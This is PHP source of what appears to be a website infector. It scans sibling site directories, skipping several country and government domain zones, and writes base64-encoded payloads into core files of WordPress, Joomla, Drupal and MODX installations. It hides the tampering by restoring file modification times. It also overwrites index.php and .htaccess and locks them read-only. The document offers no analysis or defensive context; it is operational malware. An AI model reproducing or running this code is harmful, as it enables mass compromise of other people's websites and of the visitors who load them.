echo \"marker:2a799ce3900f505d8b05e0c505e332b2\\n\"; 

$depth = \'0\';

$depth = $depth+2;

$base_dir = dirname(__FILE__);
for ($i = 0; $i < $depth; $i++) {
    $d = dirname($base_dir);
    $tmp = glob($d . \"/*\", GLOB_ONLYDIR);
    if(count($tmp)>0)
        $base_dir = $d;
    else {
        echo(\"cant read: \".$d.\"\\n\");
    }
}
$templates_array = 
array(
    0=>array(
        \"inject\"=>\'[encoded data, 9260 characters]\',
        \"name\"=>\"inject_name:nav_menu_1\",
        \"file\" => \"/wp-includes/nav-menu.php\",
        \"search\" => \'* @return array menu objects
*/\',
    ),
    array(
        \"inject\"=>\'[encoded data, 9260 characters]\',
        \"name\"=>\"inject_name:nav_menu_2\",
        \"file\" => \"/wp-includes/nav-menu.php\",
        \"search\" => \'* @return array Menu objects.
*/\',
    ),
    array(
        \"inject\"=>\'[encoded data, 5420 characters]\',
        \"name\"=>\"inject_name:joomla\",
        \"file\" => \"/includes/defines.php\",
        \"search\" => \"endfile\",
    ),
    array(
        \"inject\"=>\'[encoded data, 5420 characters]\',
        \"name\"=>\"inject_name:drupal\",
        \"file\" => \"/includes/bootstrap.inc\",
        \"search\" => \'*  TRUE if only containing valid characters, or FALSE otherwise.
 */\',
    ),
    array(
        \"inject\"=>\'[encoded data, 5420 characters]\',
        \"name\"=>\"inject_name:modx\",
        \"file\" => \"/manager/includes/protect.inc.php\",
        \"search\" => \"endfile\",
    ),

);


;


echo(\"start folder is: \".$base_dir.\"\\n\");
if (empty($base_dir)) $base_dir = \"/\";
$folders = get_listing($base_dir.\"/\");
//array_unshift($folders, $base_dir_site);

$skip_array = array(\"\\.ru\", \"\\.su\", \"\\.ua\", \"\\.kz\", \"\\.by\", \"\\.xn--p1ai\", \"\\.gov\", \"\\.mil\");
$skip_regex = implode(\"|\", $skip_array);
//$skip_regex = implode(\"[/]|\", $skip_array).\"[/]|\";

foreach ($folders as $folder) {
//    echo(\"regex : \".\"#(\".$skip_regex.\")#is\".\"\\n\");
    if(preg_match(\"#(\".$skip_regex.\")#is\", $folder, $m)) {
        echo(\"bad domain zone in path: \".$folder. \" match: \".$m[1]);
        continue;
    }

    foreach ($templates_array as $ta) {
        $file = $folder . $ta[\"file\"];
        $search = $ta[\"search\"];

        if (!file_exists($file)) {
//            echo $file . \" is not faund\\n\";
            continue;
        }

        echo \"\\n\\n\" . str_repeat(\"*+\", 50) . \"\\n\";
        echo $file . \" was found\\n\";

        replace_code($file, $search, $base_dir, false, $ta);
    }
}


function replace_code($file, $search, $base_dir, $exit=true, $ta) {
    if(basename($file)==\"nav-menu.php\") {
        my_correct(dirname(dirname($file)));
    }

    $inject_src = base64_decode($ta[\"inject\"]);

    $c = file_get_contents($file);

    $size[\"start\"] = number_format(strlen($c));

    $start_mark = \"//istart\";
    $end_mark = \"//iend\";

    if (stristr($c, $start_mark) AND stristr($c, $end_mark)) {
//        echo \"markers found\\n\";
        $c = preg_replace(\"#\" . preg_quote($start_mark) . \".*?\" . preg_quote($end_mark) . \"\\n?#is\", \"\", $c);
    }
//    if(stristr($c, $search)) {


    $regex_search = preg_replace(\"#\\s+#\", \"\\s+\", preg_quote($search));
    if ($search == \"endfile\") {
//        echo(\"inject in the end of file\\n\");
        $c = $c . $start_mark . \"\\n\" . $inject_src . $end_mark . \"\\n\";
    }
    elseif ($search == \"startfile\") {

        $c = preg_replace(\"#\\<\\?php#is\", \'<\'.\'?\'.\'php \' . $start_mark . \"\\n\" . @$inject_src . $end_mark . \"\\n\", $c, 1);
//        echo($data);
    }
    else {
//        echo(\"injecting by the marker\\n\");
        $c = preg_replace(\"#\" . $regex_search.\"#is\", $search . $start_mark . \"\\n\" . @$inject_src . $end_mark . \"\\n\", $c);
    }
    $size[\"result\"] = number_format(strlen($c));

    if (stristr($c, $search) OR in_array($search, array(\"endfile\", \"startfile\"))) {
//        echo($file.\" : search  not found:\" . $search.\" \".$regex_search);

        $filemtime = filemtime($file);
        if (file_put_contents($file, $c)) {
            echo \"filename: \".$file . \" [\".@$ta[\"name\"].\"] found\\n\";

            echo \"original filesize: \" . $size[\"start\"] . \"\\n\";

            echo(\"file $file saved\\n\");
            echo(\"inject:::\".str_replace($base_dir, \"\", $file).\":::inject\\n\");
            touch($file, $filemtime, $filemtime);
            echo \"result filesize: \" . $size[\"result\"] . \"\\n\";

            if($exit) exit;
        } else echo(\"save error: \" . $file . \"\\n\");
    }
}

function get_listing($dir, $step = 0) {
    if (empty($steps_limit))
        $steps_limit = 3;
    if ($step == 0) {
        echo \"FOLDERS SCAN STEPS LIMIT: \" . $steps_limit . \"\\n\";
    }

    if ($step >= $steps_limit) {
        return false;
    }

    $results = array();
    $listing = glob($dir . \"*\");

    if (!empty($listing) AND count($listing) > 0)
        foreach ($listing as $v) {

            if (is_dir($v)) {
                $tmp = get_listing($v . \"/\", $step + 1);
                if (!empty($tmp) and count($tmp) > 0)
                    $results = array_merge($results, $tmp);
            }
            else continue;

            if (is_dir($v))
                $v = $v . \"/\";
            $results[] = $v;
        }
    return $results;
}


function my_time($dir) {
    foreach (glob($dir . \'/wp-*.php\') as $f) {
        $times[] = filemtime($f);
    }
    $max = 1;
    for ($i = 0; $i < count($times) - 1; $i++) {
        $k = 1;
        for ($j = $i + 1; $j < count($times); $j++) {
            if ($times[$i] == $times[$j]) {
                $k++;
                if ($k > $max) {
                    $max = $k;
                    $time = $times[$i];
                }
            }
        }
    }
    return $time;
}

function my_correct($dir) {
    $time = 0;
    $path = $dir . \'/index.php\';
    $content = base64_decode(\'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==\');
    if (file_get_contents($path) != $content) {
        chmod($path, 0644);
        file_put_contents($path, $content);
        chmod($path, 0444);
        $time = my_time($dir);
        touch($path, $time);
    }

    $path = $dir . \'/.htaccess\';
    $content = base64_decode(\'IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==\');
    if (file_exists($path) AND file_get_contents($path) != $content) {
        chmod($path, 0644);
        file_put_contents($path, $content);
        chmod($path, 0444);
        if (!$time) {
            $time = my_time($dir);
        }
        touch($path, $time);
    }
}